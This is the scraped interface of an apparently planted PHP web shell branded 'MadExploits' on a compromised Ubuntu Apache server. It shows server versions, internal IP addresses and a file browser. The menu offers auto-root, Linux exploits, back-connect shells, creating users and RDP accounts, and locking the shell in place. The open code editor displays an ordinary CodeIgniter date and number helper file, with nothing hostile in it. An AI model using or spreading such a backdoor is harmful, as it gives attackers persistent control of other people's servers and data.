Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
application /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
global_helper.php
20.29
KB
-rwxr-x--x
index.html
131
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : global_helper.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); if ( ! function_exists('cutString')) { function cutString($String=null,$StrLngth=null) { if((int)$StrLngth > 0) $StrLngth = $StrLngth; else $StrLngth = STR_SPLT; if(strlen($String) <= $StrLngth) return $String; else return substr($String, 0,$StrLngth).'...'; } } function filterData(&$str) { $str = preg_replace("/\t/", "\\t", $str); $str = preg_replace("/\r?\n/", "\\n", $str); if(strstr($str, '"')) $str = '"' . str_replace('"', '""', $str) . '"'; } function clean($string) { $string = str_replace(' ', '-', $string); // Replaces all spaces with hyphens. return preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars. } function Encode64($Str) { return base64_encode($Str); } function Decode64($Str) { return base64_decode($Str); } function numMonth($monthNum) { $dateObj = DateTime::createFromFormat('!m', $monthNum); return $monthName = $dateObj->format('F'); // March } function numDay($monthNum) { $dateObj = DateTime::createFromFormat('!d', $monthNum); return $monthName = $dateObj->format('dS'); // March } function addDtDte($gDte=null,$gAd=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gAd==NULL || $gDte==DB_D_FRMT) return ''; $gDte=date_create($gDte); date_add($gDte,date_interval_create_from_date_string("".$gAd." days")); return date_format($gDte,"Y-m-d"); } // show date format 17th Oct, 2019 if ( ! function_exists('showDate')) { function showDate($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return ''; return date('d/m/Y', strtotime($gDte)); } } if ( ! function_exists('showSyDate')) { function showSyDate($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return ''; return date('d/m/y', strtotime($gDte)); } } if ( ! function_exists('showDateTime')) { function showDateTime($givenDate=null) { return date('d/m/Y, g:i a', strtotime($givenDate)); } } // db in date format 2017-10-17 if ( ! function_exists('dbInDMY')) { function dbInDMY($givenDate=null) { $ar = explode('-', $givenDate); return $ar[2].'-'.$ar[1]. '-'.$ar[0]; } } function mFrmDbDt($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return ''; else { $ar = explode('-', $gDte); return $ar[1]; } } if ( ! function_exists('dbInDate')) { function dbInDate($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return DB_D_FRMT; else { $ar = explode('/', $gDte); return $ar[2].'-'.$ar[1]. '-'.$ar[0]; } } } if ( ! function_exists('dbInDate_')) { function dbInDate_($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return DB_D_FRMT; else { $ar = explode('-', $gDte); return $ar[2].'-'.$ar[1]. '-'.$ar[0]; } } } if ( ! function_exists('dbDt')) { function dbDt($gDte=null) { if($gDte=='' || $gDte==null || $gDte==NULL || $gDte==DB_D_FRMT) return DB_D_FRMT; else { $ar = explode('/', $gDte); return $ar[2].'-'.$ar[1]. '-'.$ar[0]; } } } if ( ! function_exists('dbDate')) { function dbDate($givenDate=null) { //return date('Y-m-d', strtotime($givenDate)); $ar = explode('/', $givenDate); return $ar[2].'-'.$ar[1]. '-'.$ar[0]; } } if ( ! function_exists('dbCalDate')) { function dbCalDate($givenDate=null) { return date('d-m-Y', strtotime($givenDate)); } } function dtEqlChk($dt1=null,$dt2=null) { if($dt1=='' || $dt2=='')return ''; $ar1 = explode('/',$dt1); $ar2 = explode('/',$dt2); if(($ar1[0]==$ar2[0]) && ($ar1[1]==$ar2[1]) && ($ar1[2]==$ar2[2])) return 1; else return 0; } // url encode function function stringRp($repText,$byText,$OriText) { return str_replace($repText,$byText, $OriText); } if ( ! function_exists('StrRplace')) { function StrRplace($Str) { return str_replace("/","***",$Str); } } if ( ! function_exists('StrReturn')) { function StrReturn($Str) { return str_replace("***","/",$Str); } } // case function if ( ! function_exists('CaseL')) { function CaseL($var) { return strtolower($var); } } if ( ! function_exists('CaseU')) { function CaseU($var) { return strtoupper($var); } } if ( ! function_exists('CaseS')) { function CaseS($var) { return ucfirst($var); } } if ( ! function_exists('CaseFU')) { function CaseFU($var) { return ucwords(strtolower($var)); } } // db function if ( ! function_exists('dbIn')) { function dbIn($var) { return trim(addslashes($var)); } } if ( ! function_exists('dbOut')) { function dbOut($var) { return ($var!='')?trim(stripslashes($var)):''; } } if ( ! function_exists('dbNum ')) { function dbNum($var) { return trim($var); } } if ( ! function_exists('dbSameShow')) { function dbSameShow($var) { return ($var!='')?trim(stripslashes($var)):''; } } if ( ! function_exists('RemoveSpace')) { function RemoveSpace($var) { return trim($var); } } if ( ! function_exists('Rsp')) { function Rsp($var) { return ($var!='')?trim($var):''; } } if ( ! function_exists('twoDecimal')) { function twoDecimal($Amount,$Point=null) { if($Point!='') return number_format($Amount,$Point); if($Point=='' || $Point=null) return number_format($Amount,2,'.', '' ); } } if ( ! function_exists('dec2Pnt')) { function dec2Pnt($Amount=null,$Point=null) { if($Point =='' || $Point==0 || $Point==null) $Point=2; if($Amount =='' || $Amount <=0 || $Amount==null) $Amount=0; return number_format($Amount,$Point, '.', ''); } } if ( ! function_exists('dec3Pnt')) { function dec3Pnt($Amount=null,$Point=null) { if($Point =='' || $Point==0 || $Point==null || $Point==NULL) $Point=3; if($Amount =='' || $Amount <=0 || $Amount==null || $Amount==NULL) $Amount=0; return number_format($Amount,$Point, '.', ''); } } // Financial Year from date function dtFnYr($dt=null) { $ar = explode('/',$dt); $CurMonth = $ar[1]; if($CurMonth > 3) { $startYear = $ar[2]; $endYear = $ar[2] + 1; } else { $startYear = $ar[2]-1; $endYear = $ar[2]; } return $startYear.$endYear; } function dbDtFnYr($dt=null) { $ar = explode('-',$dt); $CurMonth = $ar[1]; if($CurMonth > 3) { $startYear = $ar[0]; $endYear = $ar[0] + 1; } else { $startYear = $ar[0]-1; $endYear = $ar[0]; } return $startYear.$endYear; } function dbDtFnYrFULL($dt=null) { $ar = explode('-',$dt); $CurMonth = $ar[1]; if($CurMonth > 3) { $startYear = $ar[0]; $endYear = $ar[0] + 1; } else { $startYear = $ar[0]-1; $endYear = $ar[0]; } return $startYear.' - '.$endYear; } function dbDtSfYr($dt=null) { $ar = explode('-',$dt); $CurMonth = $ar[1]; if($CurMonth > 3) { $startYear = $ar[0]; } else { $startYear = $ar[0]-1; } return $startYear; } function dbDtEfYr($dt=null) { $ar = explode('-',$dt); $CurMonth = $ar[1]; if($CurMonth > 3) { $endYear = $ar[0] + 1; } else { $endYear = $ar[0]; } return $endYear; } // Financial Year if ( ! function_exists('FnYr')) { function FnYr() { $CurrentMonth = date('m'); $startYear = date('Y'); if($CurrentMonth > 3) { $startYear = date('Y'); $endYear = date('Y') + 1; } else { $startYear = date('Y')-1; $endYear = date('Y'); } return $startYear.$endYear; } } if ( ! function_exists('fnYrFuL')) { function fnYrFuL() { $CurrentMonth = date('m'); $startYear = date('Y'); if($CurrentMonth > 3) { $startYear = date('Y'); $endYear = date('Y') + 1; } else { $startYear = date('Y')-1; $endYear = date('Y'); } return $startYear.' - '.$endYear; } } if ( ! function_exists('sFnYr_del')) { function sFnYr_del() { $Cmnth = date('m'); $sYr = date('Y'); if($Cmnth > 3) { $sYr = date('y'); $eYr = date('y') + 1; } else { $sYr = date('y')-1; $eYr = date('y'); } return $sYr.$eYr; } } function sFnYr($Dte=null) { if($Dte!='') { $ar = explode('/',$Dte); $Cmnth = $ar[1]; $stYr =Yr4T2($ar[2]); } else { $Cmnth = date('m'); $stYr = date('y'); } if($Cmnth > 3) { $sYr = $stYr; $eYr = $stYr + 1; } else { $sYr = $stYr-1; $eYr = $stYr; } return $sYr.$eYr; } function sFnYr_($Dte=null) { if($Dte!='') { $ar = explode('-',$Dte); $Cmnth = $ar[1]; $stYr =Yr4T2($ar[2]); } else { $Cmnth = date('m'); $stYr = date('y'); } if($Cmnth > 3) { $sYr = $stYr; $eYr = $stYr + 1; } else { $sYr = $stYr-1; $eYr = $stYr; } return $sYr.$eYr; } function _sFnYr_($Dte=null) { if($Dte!='') { $ar = explode('-',$Dte); $Cmnth = $ar[1]; $stYr =Yr4T2($ar[0]); } else { $Cmnth = date('m'); $stYr = date('y'); } if($Cmnth > 3) { $sYr = $stYr; $eYr = $stYr + 1; } else { $sYr = $stYr-1; $eYr = $stYr; } return $sYr.$eYr; } function DbsFnYr($Dte=null) { if($Dte!='') { $ar = explode('-',$Dte); $Cmnth = $ar[1]; $stYr =Yr4T2($ar[0]); } else { $Cmnth = date('m'); $stYr = date('y'); } if($Cmnth > 3) { $sYr = $stYr; $eYr = $stYr + 1; } else { $sYr = $stYr-1; $eYr = $stYr; } return $sYr.$eYr; } function frmDsFnYr_del($Dte=null) { if($Dte!='') { $ar = explode('/',$Dte); $Cmnth = $ar[1]; $sYr = $ar[2]; } else { $Cmnth = date('m'); $sYr = date('Y'); } if($Cmnth > 3) { $sYr = date('y'); $eYr = date('y') + 1; } else { $sYr = date('y')-1; $eYr = date('y'); } return $sYr.$eYr; } if ( ! function_exists('fnYrSml')) { function fnYrSml() { $CurrentMonth = date('m'); $startYear = date('y'); if($CurrentMonth > 3) { $startYear = date('y'); $endYear = date('y') + 1; } else { $startYear = date('y')-1; $endYear = date('y'); } return $startYear.$endYear; } } if ( ! function_exists('fnYrSml_')) { function fnYrSml_() { $CurrentMonth = date('m'); $startYear = date('Y'); if($CurrentMonth > 3) { $startYear = date('y'); $endYear = date('y') + 1; } else { $startYear = date('y')-1; $endYear = date('y'); } return $startYear.'-'.$endYear; } } if ( ! function_exists('fnSyr')) { function fnSyr() { $CurrentMonth = date('m'); $startYear = date('Y'); if($CurrentMonth > 3)$startYear = date('Y'); else $startYear = date('Y')-1; return $startYear; } } if ( ! function_exists('fnEyr')) { function fnEyr() { $CurrentMonth = date('m'); $startYear = date('Y'); if($CurrentMonth > 3)$endYear = date('Y') + 1; else $endYear = date('Y'); return $endYear; } } if ( ! function_exists('sFnSyr')) { function sFnSyr() { $CurrentMonth = date('m'); $startYear = date('y'); if($CurrentMonth > 3)$startYear = date('y'); else $startYear = date('y')-1; return $startYear; } } if ( ! function_exists('sFnEyr')) { function sFnEyr() { $CurrentMonth = date('m'); $endYear = date('y'); if($CurrentMonth > 3)$endYear = date('y') + 1; return $endYear; } } if ( ! function_exists('Yr4T2')) { function Yr4T2($Yr=null) { $dt = DateTime::createFromFormat('Y',$Yr); return $dt->format('y'); } } if ( ! function_exists('Yr2T4')) { function Yr2T4($Yr=null) { $dt = DateTime::createFromFormat('y',$Yr); return $dt->format('Y'); } } function _fnYr_() { $ts1 = strtotime('2021-04-01'); $ts2 = strtotime(date('Y-m-d')); $stYr = date('Y', $ts1); $year1 = date('Y', $ts1); $edYr = date('Y'); $Yr1 = date('y', $ts1); $Yr2 = date('y', $ts1); $Yr3 = date('y'); $Previous=$stYr+1; $pYr=$Yr1+1; if(date('m') >= 4) { $edYr=$edYr+1; $eYr=$Yr3+1; } $fy = array(); $i=0; while($stYr <=$edYr) { $Previous=$stYr-1; $pYr=$Yr1-1; $fy[$i][0] = $pYr.$Yr1; $fy[$i][1] = $Previous.' - '.$stYr; $fy[$i][2] = $Previous; $fy[$i][3] = $stYr; $stYr += 1; $Yr1 += 1; $i++; } return array_reverse($fy); } function dbPfr() { $ts1 = strtotime('2022-04-01'); $ts2 = strtotime(date('Y-m-d')); $stYr = date('y', $ts1); $year1 = date('y', $ts1); $edYr = date('y'); $month2 = date('m'); $Previous=$stYr+1; if($month2 > 3) $edYr=$edYr+1; $fy = array(); while($stYr <=$edYr) { $Previous=$stYr-1; $fy[$Previous.STR_SEP.$stYr]= $Previous.$stYr; $stYr += 1; } return array_reverse($fy); } function dbPfrFromDt($ts1=null,$ts2=null) { if($ts1!='') { $ts1 = strtotime($ts1); $sYr = date('y', $ts1); $sM = date('n', $ts1); } else { $ts1 = strtotime('2022-04-01'); $sYr = date('y', $ts1); $sM = date('n', $ts1); } if($ts2!='') { $ts2 = strtotime($ts2); $eYr = date('y', $ts2); $eM = date('n', $ts2); } else { $ts2 = strtotime(date('Y-m-d')); $eYr = date('y'); $eM = date('n'); } if($sM < 4) $sYr=$sYr-1; if($eM >= 4) $eYr=$eYr+1; $fy = array(); for($i=$sYr;$i<$eYr;$i++) { $j=$i+1; $fy[] = $i.$j; } return $fy; } function calcFY() { $ts1 = strtotime('2022-04-01'); $ts2 = strtotime(date('Y-m-d')); $stYr = date('Y', $ts1); $year1 = date('Y', $ts1); $edYr = date('Y'); $month2 = date('m'); $Previous=$stYr+1; if($month2 >= 4) $edYr=$edYr+1; $fy = array(); while($stYr <=$edYr) { $Previous=$stYr-1; $fy[$Previous.STR_SEP.$stYr] = $Previous.' - '.$stYr; $stYr += 1; } return array_reverse($fy); } function calFnYR() { $ts1 = strtotime('2021-04-01'); $ts2 = strtotime(date('Y-m-d')); $stYr = date('Y', $ts1); $year1 = date('Y', $ts1); $edYr = date('Y'); $month2 = date('m'); $Previous=$stYr+1; if($month2 >= 4) $edYr=$edYr+1; $fy = array(); while($stYr <=$edYr) { $Previous=$stYr-1; $fy[$Previous.$stYr] = $Previous.' - '.$stYr; $stYr += 1; } return array_reverse($fy); } function calcFY__() { $ts1 = strtotime('2021-04-01'); $ts2 = strtotime(date('Y-m-d')); $year1 = date('Y', $ts1); $year2 = date('Y'); $month1 = date('m', $ts1); $month2 = date('m'); //echo $year1.'<>'.$month1.'|||||'.$year2.'<>'.$month2; //get months $diff = (($year2 - $year1) * 12) + ($month2 - $month1); //echo '------'.$diff; /** * if end month is greater than april, consider the next FY * else dont consider the next FY */ $total_years = ($month2 > 4)?ceil($diff/12):floor($diff/12); $fy = array(); while($total_years >= 0) { $prevyear = $year1 - 1; //We dont need 20 of 20** (like 2014) $fy[substr($prevyear,-4).STR_SEP.substr($year1,-4)] = substr($prevyear,-4).' - '.substr($year1,-4); $year1 += 1; $total_years--; } /** * If start month is greater than or equal to april, * remove the first element */ if($month1 >= 4) { unset($fy[0]); } /* Concatenate the array with ',' */ return array_reverse($fy); } function NumAlphabet($str) { switch ($str) { case 1: return 'A'; break; case 2: return 'B'; break; case 3: return 'C'; break; case 4: return 'D'; break; case 5: return 'E'; break; case 6: return 'F'; break; case 7: return 'G'; break; case 8: return 'H'; break; case 9: return 'I'; break; case 10: return 'J'; break; case 11: return 'K'; break; case 12: return 'L'; break; case 13: return 'M'; break; case 14: return 'N'; break; case 15: return 'O'; break; case 16: return 'P'; break; case 17: return 'Q'; break; case 18: return 'R'; break; case 20: return 'S'; break; case 21: return 'T'; break; case 22: return 'U'; break; case 23: return 'V'; break; case 24: return 'W'; break; case 25: return 'X'; break; case 26: return 'Y'; break; default: return 'Z'; break; } } function NumCharac($str) { switch ($str) { case 1: return 'Branch Transfer'; break; case 2: return 'Domestic Sale'; break; case 3: return 'Exempted Sale'; break; case 4: return 'Export under CT Bond'; break; case 5: return 'Export under Rebate'; break; default: return 'Domestic Sale'; break; } } function Color($str) { switch ($str) { case STATUS_A: return A_COLOR; break; case STATUS_I: return I_COLOR; break; case STATUS_B: return B_COLOR; break; case STATUS_PB: return C_COLOR; break; default: return A_COLOR; break; } } if ( ! function_exists('taxNames')) { function taxNames($str=null) { if($str=='' || $str==null)return array(1=>'SGST',2=>'CGST',3=>'IGST'); else { switch ($str) { case 1: return 'SGST'; break; case 2: return 'CGST'; break; case 3: return 'IGST'; break; case STATUS_S: return 1; break; case STATUS_C: return 2; break; case STATUS_I: return 3; break; default:return ''; break; } } } } if ( ! function_exists('num2word')) { function num2word($number=null) { $no = round($number); $point = substr($number, -2); $hundred = null; $digits_1 = strlen($no); $i = 0; $str = array(); $words = array('0' => '', '1' => 'One', '2' => 'Two', '3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six', '7' => 'Seven', '8' => 'Eight', '9' => 'Nine', '10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve', '13' => 'Thirteen', '14' => 'Fourteen', '15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen', '18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty', '30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty', '60' => 'Sixty', '70' => 'Seventy', '80' => 'Eighty', '90' => 'Ninety'); $digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore'); while ($i < $digits_1) { $divider = ($i == 2) ? 10 : 100; $number = floor($no % $divider); $no = floor($no / $divider); $i += ($divider == 10) ? 1 : 2; if ($number) { $plural = (($counter = count($str)) && $number > 9) ? 's' : null; $hundred = ($counter == 1 && $str[0]) ? '' : null; $str [] = ($number < 21) ? $words[$number] . " " . $digits[$counter] . $plural . " " . $hundred : $words[floor($number / 10) * 10] . " " . $words[$number % 10] . " " . $digits[$counter] . $plural . " " . $hundred; } else $str[] = null; } $str = array_reverse($str); $result = implode('', $str); return 'Rupees ' . $result . " Only"; /* if($point[1] > 0) { $points = ($point) ? $words[$point / 10] . " " . $words[$point = $point % 10] : ''; return 'Rupees ' . $result . "and Paise " . $points . " Only"; } else return 'Rupees ' . $result . " Only";*/ } } function menuUrl($str) { switch ($str) { case 1: return _CMS; break; case 3: return _TYP; break; case 4: return _ITM; break; case 5: return _CRS; break; case 6: return _WRK; break; case 8: return _TYPA; break; case 9: return _TYPV; break; case 10: return _PUB; break; case 12: return _UDIG; break; case 13: return _USR; break; case 14: return _EVNT; break; case 15: return _JBC; break; case 16: return _MDC; break; case 17: return _MEM; break; default: return CL_DASH; break; } } function fontIcons($str) { switch ($str) { case 'G': return 'fa fa-gear'; break; case 1: return 'fa fa-gear'; break; case 2: return 'fa fa-copy'; break; case 7: return 'fa fa-copy'; break; case 11: return 'fa fa-calendar-o'; break; case 14: return 'fa fa-calendar-o'; break; case 15: return 'fa fa-cubes'; break; case 16: return 'fa fa-maxcdn'; break; case 17: return 'fa fa-openid'; break; default: return 'fa fa-home'; break; } } function Icons($str) { switch ($str) { case 1: return 't1.png'; break; case 2: return 't5.png'; break; case 3: return 't2.png'; break; case 4: return 'paper-icon.svg'; break; case 5: return 't5.png'; break; case 9: return 't32.jpg'; break; default: return 't1.png'; break; } }
Close